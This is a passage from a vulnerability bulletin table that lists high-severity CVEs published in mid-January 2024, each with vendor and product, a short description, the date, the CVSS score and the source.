campcodes -- simple_student_information_system	A vulnerability was found in Campcodes Student Information System 1.0. It has been classified as critical. Affected is an unknown function of the file /classes/Users.php?f=save. The manipulation of the argument username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250602 is the identifier assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0497
campcodes -- supplier_management_system	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_category.php?id=.	2024-01-16	7.2	CVE-2024-22625
campcodes -- supplier_management_system	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_retailer.php?id=.	2024-01-16	7.2	CVE-2024-22626
campcodes -- supplier_management_system	Complete Supplier Management System v1.0 is vulnerable to SQL Injection via /Supply_Management_System/admin/edit_distributor.php?id=.	2024-01-16	7.2	CVE-2024-22627
cires21 -- c21_live_encoder_and_live_mosaic	Unrestricted upload of dangerous file types in the C21 Live Encoder and Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to upload different file extensions without any restrictions, resulting in a full system compromise.	2024-01-17	10	CVE-2024-0643
cires21 -- c21_live_encoder_and_live_mosaic	Inadequate access control in the C21 Live Encoder and Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to access the application as an administrator user through the application endpoint, due to lack of proper credential management.	2024-01-17	9.8	CVE-2024-0642
cisco -- unity_connection	A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system and execute commands on the underlying operating system. This vulnerability is due to a lack of authentication in a specific API and improper validation of user-supplied data. An attacker could exploit this vulnerability by uploading arbitrary files to an affected system. A successful exploit could allow the attacker to store malicious files on the system, execute arbitrary commands on the operating system, and elevate privileges to root.	2024-01-17	7.3	CVE-2024-20272 ykramarz@cisco.com
cloud_software_group -- netscaler_adc	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service	2024-01-17	8.2	CVE-2023-6549 secure@citrix.com
code-projects -- dormitory_management_system	A vulnerability was found in code-projects Dormitory Management System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file modifyuser.php. The manipulation of the argument mname leads to	2024-01-12	7.5	CVE-2024-0472

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	information disclosure. The exploit has been disclosed to the public and may be used. The identifier VDB-250577 was assigned to this vulnerability.			
cxbsoft -- post-office	A vulnerability, which was classified as critical, was found in CXBSoft Post-Office 1.0. Affected is an unknown function of the file /admin/pages/update_go.php of the component HTTP POST Request Handler. The manipulation of the argument version leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250698 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0528
cxbsoft -- post-office	A vulnerability has been found in CXBSoft Post-Office up to 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /apps/login_auth.php of the component HTTP POST Request Handler. The manipulation of the argument username_login leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250699. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0529
cxbsoft -- post-office	A vulnerability was found in CXBSoft Post-Office up to 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /apps/reg_go.php of the component HTTP POST Request Handler. The manipulation of the argument username_reg leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250700. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0530
cxbsoft -- url-shorting	A vulnerability was found in CXBSoft Url-shorting up to 1.3.1. It has been rated as critical. Affected by this issue is some unknown functionality of the file index.php. The manipulation of the argument url leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250694 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0524
cxbsoft -- url-shorting	A vulnerability classified as critical has been found in CXBSoft Url-shorting up to 1.3.1. This affects an unknown part of the file /pages/long_s_short.php of the component HTTP POST Request Handler. The manipulation of the argument longurl leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250695. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0525
cxbsoft -- url-shorting	A vulnerability classified as critical was found in CXBSoft Url-shorting up to 1.3.1. This vulnerability affects unknown code of the file /pages/short_to_long.php of the component HTTP POST Request Handler. The manipulation of the argument shorturl leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250696. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0526
cxbsoft -- url-shorting	A vulnerability, which was classified as critical, has been found in CXBSoft Url-shorting up to 1.3.1. This issue affects some unknown processing of the file /admin/pages/update_go.php of the component HTTP POST Request Handler. The manipulation of the argument version leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-250697 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0527
datahub-project -- datahub	DataHub is an open-source metadata platform. In affected versions a low privileged user could remove a user, edit group members, or edit another user's profile information. The default privileges gave too many broad permissions to low privileged users. These have been constrained in PR #9067 to prevent abuse. This issue can result in privilege escalation for lower privileged users up to admin privileges, potentially, if a group with admin privileges exists. May not impact instances that have modified default privileges. This issue has been addressed in datahub version 0.12.1. Users are advised to upgrade.	2024-01-16	7.5	CVE-2024-22409
dell -- idrac_service_module_(ism)	Dell iDRAC Service Module, versions 5.2.0.0 and prior, contain an Incorrect Default Permissions vulnerability. It may allow a local unprivileged user to escalate privileges and execute arbitrary code on the affected system. Dell recommends customers upgrade at the earliest opportunity.	2024-01-16	7	CVE-2024-22428
delta_electronics -- ispsoft	A heap buffer-overflow exists in Delta Electronics ISPSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.	2024-01-18	8.2	CVE-2023-5131 disclosures@exodusintel.com
delta_electronics -- wplsoft	A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.	2024-01-18	8.2	CVE-2023-5130 disclosures@exodusintel.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
deltaww -- dopsoft	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wScreenDESCTextLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	2024-01-18	7.8	CVE-2023-43815 disclosures@exodusintel.com
deltaww -- dopsoft	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	2024-01-18	7.8	CVE-2023-43816 disclosures@exodusintel.com
deltaww -- dopsoft	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	2024-01-18	7.8	CVE-2023-43817 disclosures@exodusintel.com
deltaww -- dopsoft	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43818 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the InitialMacroLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43819 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesPrevValueLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43820 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesActionLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43821 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesTimeLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43822 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTTitleLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43823 disclosures@exodusintel.com
deltaww -- dopsoft	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTitleTextLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	2024-01-18	7.8	CVE-2023-43824 disclosures@exodusintel.com
demomentsomtres -- export_posts_with_images	The DeMomentSomTres WordPress Export Posts With Images WordPress plugin through 20220825 does not check authorization of requests to export the blog data, allowing any logged in user, such as subscribers to export the contents of the blog, including restricted and unpublished posts, as well as passwords of protected posts.	2024-01-15	8.1	CVE-2023-5905
dormitory_management_system -- dormitory_management_system	A vulnerability classified as critical has been found in code-projects Dormitory Management System 1.0. Affected is an unknown function of the file comment.php. The manipulation of the argument com leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250578 is the identifier assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0473
dormitory_management_system -- dormitory_management_system	A vulnerability classified as critical was found in code-projects Dormitory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file login.php. The manipulation of the argument username leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250579.	2024-01-12	9.8	CVE-2024-0474
dormitory_management_system -- dormitory_management_system	A vulnerability, which was classified as critical, has been found in code-projects Dormitory Management System 1.0. Affected by this issue is some unknown functionality of the file modifyuser.php. The manipulation of the argument user_id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250580.	2024-01-13	9.8	CVE-2024-0475
employee_profile_management_system -- employee_profile_	A vulnerability, which was classified as critical, has been found in code-projects Employee Profile Management System 1.0. This issue affects some unknown processing of the file file_table.php. The manipulation of the argument per_id	2024-01-12	9.8	CVE-2024-0466

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
management_system	leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250571.			
estatik -- estatik	The Estatik Real Estate Plugin WordPress plugin before 4.1.1 unserializes user input via some of its cookies, which could allow unauthenticated users to perform PHP Object Injection when a suitable gadget chain is present on the blog	2024-01-15	9.8	CVE-2023-6049
evershop -- evershop	An issue was discovered in NPM's package @evershop/evershop before version 1.0.0-rc.8. The HMAC secret used for generating tokens is hardcoded as "secret". A weak HMAC secret poses a risk because attackers can use the predictable secret to create valid JSON Web Tokens (JWTs), allowing them access to important information and actions within the application.	2024-01-13	9.1	CVE-2023-46943
evershop -- evershop	Lack of authentication in NPM's package @evershop/evershop before version 1.0.0-rc.8, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints.	2024-01-13	7.5	CVE-2023-46942
explorerplusplus -- explorer++.exe	Buffer overflow vulnerability in Explorer++ affecting version 1.3.5.531. A local attacker could execute arbitrary code via a long filename argument by monitoring Structured Exception Handler (SEH) records.	2024-01-17	7.3	CVE-2024-0645
faculty_management_system -- faculty_management_system	A vulnerability was found in code-projects Faculty Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/pages/student-print.php. The manipulation leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250565 was assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0460
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/action/new-father.php. The manipulation of the argument image leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250573 was assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0468
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/action/update-deworm.php. The manipulation of the argument usage_deworm leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250582 is the identifier assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0477
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C***k Information System 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/pages/edit_chicken.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250583.	2024-01-13	9.8	CVE-2024-0478
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability, which was classified as critical, has been found in code-projects Fighting C*** Information System 1.0. This issue affects some unknown processing of the file admin/action/update_mother.php. The manipulation of the argument age_mother leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250589 was assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0484
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability, which was classified as critical, was found in code-projects Fighting C*** Information System 1.0. Affected is an unknown function of the file admin/pages/tables/add_con.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250590 is the identifier assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0485
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/action/add_con.php. The manipulation of the argument chicken leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250591.	2024-01-13	9.8	CVE-2024-0486
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /admin/action/delete-vaccine.php. The manipulation of the argument ref leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250592.	2024-01-13	9.8	CVE-2024-0487
fighting_c***_information_system --	A vulnerability was found in code-projects Fighting C*** Information System 1.0. It has been classified as critical. This affects an unknown part of the file	2024-01-13	9.8	CVE-2024-0488

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
fighting_c***_information_system	/admin/action/new-feed.php. The manipulation of the argument type_feed leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250593 was assigned to this vulnerability.			
fighting_c***_information_system -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/action/edit_chicken.php. The manipulation of the argument ref leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250594 is the identifier assigned to this vulnerability.	2024-01-13	9.8	CVE-2024-0489
fireeye -- central_management	Remote file inclusion vulnerability in FireEye Central Management affecting version 9.1.1.956704. This vulnerability allows an attacker to upload a malicious PDF file to the system during the report creation process.	2024-01-15	7.8	CVE-2024-0315
fireeye -- endpoint_security	Improper cleanup vulnerability in exceptions thrown in FireEye Endpoint Security, affecting version 5.2.0.958244. This vulnerability could allow an attacker to send multiple request packets to the containment_notify/preview parameter, which could lead to a service outage.	2024-01-15	7.5	CVE-2024-0316
flycms -- flycms	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/del.	2024-01-18	8.8	CVE-2024-22568
flycms -- flycms	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_save.	2024-01-18	8.8	CVE-2024-22591
flycms -- flycms	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_update	2024-01-18	8.8	CVE-2024-22592
flycms -- flycms	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/add_group_save	2024-01-18	8.8	CVE-2024-22593
full_compass_systems -- wic1200	A Weak Cryptography for Passwords vulnerability has been detected on WIC200 affecting version 1.1. This vulnerability allows a remote user to intercept the traffic and retrieve the credentials from another user and decode it in base64 allowing the attacker to see the credentials in plain text.	2024-01-16	7.1	CVE-2024-0556
fuyanglipengjun -- wetong_mall	A vulnerability was found in Weitong Mall 1.0.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file platform-shop\src\main\resources\com\platform\dao\OrderDao.xml. The manipulation of the argument sidx/order leads to sql injection. The associated identifier of this vulnerability is VDB-250243.	2024-01-12	9.8	CVE-2022-4961
github -- enterprise_server	An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3. This vulnerability was reported via the GitHub Bug Bounty program.	2024-01-16	7.2	CVE-2024-0200
gitlab -- gitlab	Incorrect authorization checks in GitLab CE/EE from all versions starting from 8.13 before 16.5.6, all versions starting from 16.6 before 16.6.4, all versions starting from 16.7 before 16.7.2, allows a user to abuse slack/mattermost integrations to execute slash commands as another user.	2024-01-12	8.8	CVE-2023-5356
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.	2024-01-12	7.5	CVE-2023-7028
gl-inet -- gl-ax1800_firmware	An issue was discovered on GL.iNet devices before version 4.5.0. There is an NGINX authentication bypass via Lua string pattern matching. This affects A1300 4.4.6, AX1800 4.4.6, AXT1800 4.4.6, MT3000 4.4.6, MT2500 4.4.6, MT6000 4.5.0, MT1300 4.3.7, MT300N-V2 4.3.7, AR750S 4.3.7, AR750 4.3.7, AR300M 4.3.7, and B1300 4.3.7.	2024-01-12	9.8	CVE-2023-50919
go_git -- go_git	A denial of service (DoS) vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to perform denial of service attacks by providing specially crafted responses from a Git server which triggers resource exhaustion in go-git clients. Applications using only the in-memory filesystem supported by go-git are not affected by this vulnerability. This is a go-git implementation issue and does not affect the upstream git cli.	2024-01-12	7.5	CVE-2023-49568
go_git-- go_git	A path traversal vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to create and amend files across the filesystem. In the worse case scenario, remote code execution could be achieved. Applications are only affected if they are using the ChrootOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#ChrootOS , which is the default when using "Plain" versions of	2024-01-12	9.8	CVE-2023-49569

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Open and Clone funcs (e.g. PlainClone). Applications using BoundOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#BoundOS or in-memory filesystems are not affected by this issue. This is a go-git implementation issue and does not affect the upstream cli.			
hancom -- hcell	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in Hancom HCell on Windows allows Overflow Buffers.This issue affects HCell: 12.0.0.893.	2024-01-12	8.8	CVE-2023-40250 vuln@krcert.or.kr
haokekeji -- yiqiniu	A vulnerability, which was classified as critical, has been found in HaoKeKeJi YiQiNiu up to 3.1. Affected by this issue is the function http_post of the file /application/pay/controller/Api.php. The manipulation of the argument url leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250652.	2024-01-13	7.3	CVE-2024-0510
hecheng -- leadshop	A vulnerability, which was classified as critical, was found in Hecheng Leadshop up to 1.4.20. Affected is an unknown function of the file /web/leadshop.php. The manipulation of the argument install leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251562 is the identifier assigned to this vulnerability.	2024-01-19	7.3	CVE-2024-0739
hongdian -- h8951-4g-esp_firmware	Root user password is hardcoded into the device and cannot be changed in the user interface.	2024-01-12	9.8	CVE-2023-49253
hongdian -- h8951-4g-esp_firmware	The router console is accessible without authentication at "data" field, and while a user needs to be logged in in order to modify the configuration, the session state is shared. If any other user is currently logged in, the anonymous user can execute commands in the context of the authenticated one. If the logged in user has administrative privileges, it is possible to use webadmin service configuration commands to create a new admin user with a chosen password.	2024-01-12	9.8	CVE-2023-49255
hongdian -- h8951-4g-esp_firmware	The authentication mechanism can be bypassed by overflowing the value of the Cookie "authentication" field, provided there is an active user session.	2024-01-12	9.8	CVE-2023-49262
hongdian -- h8951-4g-esp_firmware	Authenticated user can execute arbitrary commands in the context of the root user by providing payload in the "destination" field of the network test tools. This is similar to the vulnerability CVE-2021-28151 mitigated on the user interface level by blacklisting characters with JavaScript, however, it can still be exploited by sending POST requests directly.	2024-01-12	8.8	CVE-2023-49254
hongdian -- h8951-4g-esp_firmware	An authenticated user is able to upload an arbitrary CGI-compatible file using the certificate upload utility and execute it with the root user privileges.	2024-01-12	8.8	CVE-2023-49257
hongdian -- h8951-4g-esp_firmware	It is possible to download the configuration backup without authorization and decrypt included passwords using hardcoded static key.	2024-01-12	7.5	CVE-2023-49256
hongdian -- h8951-4g-esp_firmware	The authentication cookies are generated using an algorithm based on the username, hardcoded secret and the up-time, and can be guessed in a reasonable time.	2024-01-12	7.5	CVE-2023-49259
hongdian -- h8951-4g-esp_firmware	The "tokenKey" value used in user authorization is visible in the HTML source of the login page.	2024-01-12	7.5	CVE-2023-49261
horner_automation -- cscape	In Horner Automation Cscape versions 9.90 SP10 and prior, local attackers are able to exploit this vulnerability if a user opens a malicious CSP file, which would result in execution of arbitrary code on affected installations of Cscape.	2024-01-15	7.8	CVE-2023-7206 ics-cert@hq.dhs.gov ics-cert@hq.dhs.gov
huawei -- emui	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity.	2024-01-16	9.1	CVE-2023-52101 psirt@huawei.com psirt@huawei.com
huawei -- emui	Buffer overflow vulnerability in the FLP module. Successful exploitation of this vulnerability may cause out-of-bounds read.	2024-01-16	9.8	CVE-2023-52103 psirt@huawei.com psirt@huawei.com
huawei -- emui	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality.	2024-01-16	7.5	CVE-2023-44112 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-44117 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-4566 psirt@huawei.com psirt@huawei.com
huawei -- emui	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability.	2024-01-16	7.5	CVE-2023-52098 psirt@huawei.com psirt@huawei.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
huawei -- emui	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-52099 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-52102 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-52104 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-52107 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability.	2024-01-16	7.5	CVE-2023-52108 psirt@huawei.com psirt@huawei.com
huawei -- emui	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.	2024-01-16	7.5	CVE-2023-52109 psirt@huawei.com psirt@huawei.com
huawei -- emui	Authorization vulnerability in the BootLoader module. Successful exploitation of this vulnerability may affect service integrity.	2024-01-16	7.5	CVE-2023-52111 psirt@huawei.com psirt@huawei.com
huawei -- emui	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability.	2024-01-16	7.5	CVE-2023-52113 psirt@huawei.com psirt@huawei.com
huawei -- emui	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity.	2024-01-16	7.5	CVE-2023-52114 psirt@huawei.com psirt@huawei.com
huawei -- emui	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device.	2024-01-16	7.5	CVE-2023-52116 psirt@huawei.com psirt@huawei.com
huawei -- harmonyos	The DownloadProviderMain module has a vulnerability in API permission verification. Successful exploitation of this vulnerability may affect integrity and availability.	2024-01-16	9.1	CVE-2023-52106 psirt@huawei.com psirt@huawei.com
huawei -- harmonyos	The Celia Keyboard module has a vulnerability in access control. Successful exploitation of this vulnerability may affect availability.	2024-01-16	7.5	CVE-2023-52100 psirt@huawei.com psirt@huawei.com
huawei -- harmonyos	The nearby module has a privilege escalation vulnerability. Successful exploitation of this vulnerability may affect availability.	2024-01-16	7.5	CVE-2023-52105 psirt@huawei.com psirt@huawei.com
huawei -- harmonyos	The sensor module has an out-of-bounds access vulnerability.Successful exploitation of this vulnerability may affect availability.	2024-01-16	7.5	CVE-2023-52110 psirt@huawei.com psirt@huawei.com
huawei -- harmonyos	The iaware module has a Use-After-Free (UAF) vulnerability. Successful exploitation of this vulnerability may affect the system functions.	2024-01-16	7.5	CVE-2023-52115 psirt@huawei.com psirt@huawei.com
human_resource_integrated_system -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file update_personal_info.php. The manipulation of the argument sex leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250574 is the identifier assigned to this vulnerability.	2024-01-12	9.8	CVE-2024-0469
human_resource_integrated_system -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0. It has been classified as critical. This affects an unknown part of the file /admin_route/inc_service_credits.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250575.	2024-01-12	9.8	CVE-2024-0470
human_resource_integrated_system -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin_route/dec_service_credits.php. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250576.	2024-01-12	9.8	CVE-2024-0471
hypr -- workforce_access	Improper Input Validation vulnerability in HYPR Workforce Access on Windows allows Path Traversal.This issue affects Workforce Access: before 8.7.	2024-01-16	7	CVE-2023-5097 security@hypr.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
hypr -- workforce_access	Improper Link Resolution Before File Access ('Link Following') vulnerability in HYPR Workforce Access on MacOS allows User-Controlled Filename.This issue affects Workforce Access: before 8.7.	2024-01-16	7.2	CVE-2023-6336 security@hypr.com
ibm -- app_connect_enterprise	IBM App Connect Enterprise 11.0.0.1 through 11.0.0.24 and 12.0.1.0 through 12.0.11.0 could allow a remote attacker to obtain sensitive information or cause a denial of service due to improper restriction of excessive authentication attempts. IBM X-Force ID: 279143.	2024-01-18	9.1	CVE-2024-22317
ibm -- openpages_with_watson	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005.	2024-01-19	8.8	CVE-2023-40683
intel -- intel_hotkey_services_for_windows_10_for_intel_nuc_p14e_laptop_element_software_installers	Improper access control in some Intel HotKey Services for Windows 10 for Intel NUC P14E Laptop Element software installers before version 1.1.45 may allow an authenticated user to potentially enable denial of service via local access.	2024-01-19	7.3	CVE-2023-32544 secure@intel.com
intel -- intel_nuc_8_compute_element_bios_firmware	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-42766 secure@intel.com
intel -- intel_nuc_bios_firmware	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-28738 secure@intel.com
